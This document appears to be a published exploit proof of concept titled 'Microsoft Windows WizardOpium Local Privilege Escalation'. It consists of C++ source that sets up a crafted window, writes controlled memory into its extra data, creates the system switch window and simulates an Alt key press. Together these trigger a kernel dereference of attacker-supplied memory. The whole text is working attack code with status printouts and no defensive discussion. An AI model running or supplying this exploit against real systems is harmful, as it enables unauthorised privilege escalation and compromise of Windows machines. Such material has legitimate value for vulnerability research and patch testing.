Microsoft Windows WizardOpium Local Privilege Escalation

`#include <cstdio>  
#include <windows.h>  
  
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);  
  
int main() {   
HINSTANCE hInstance = GetModuleHandle(NULL);  
  
WNDCLASSEX wcx;  
ZeroMemory(&wcx, sizeof(wcx));  
wcx.hInstance = hInstance;  
wcx.cbSize = sizeof(wcx);  
wcx.lpszClassName = L"SploitWnd";  
wcx.lpfnWndProc = DefWindowProc;  
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0  
  
printf("[*] Registering window\n");  
ATOM wndAtom = RegisterClassEx(&wcx);  
if (wndAtom == INVALID_ATOM) {  
printf("[-] Failed registering SploitWnd window class\n");  
exit(-1);  
}  
  
printf("[*] Creating instance of this window\n");  
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);  
if (sploitWnd == INVALID_HANDLE_VALUE) {  
printf("[-] Failed to create SploitWnd window\n");  
exit(-1);  
}  
  
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");  
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);  
  
printf("[*] Allocate memory to be used for corruption\n");  
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
printf("\tptr: %p\n", mem);  
PBYTE byteView = (PBYTE)mem;  
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow  
  
//pass DrawSwitchWndHilite double dereference  
PVOID* ulongView = (PVOID*)mem;  
ulongView[0x20 / sizeof(PVOID)] = mem;  
  
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");  
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);  
printf("[*] GetLastError = %x\n", GetLastError());  
  
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");  
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);  
  
printf("[*] Simulating alt key press\n");  
BYTE keyState[256];  
GetKeyboardState(keyState);  
keyState[VK_MENU] |= 0x80;  
SetKeyboardState(keyState);  
  
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");  
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);  
}  
`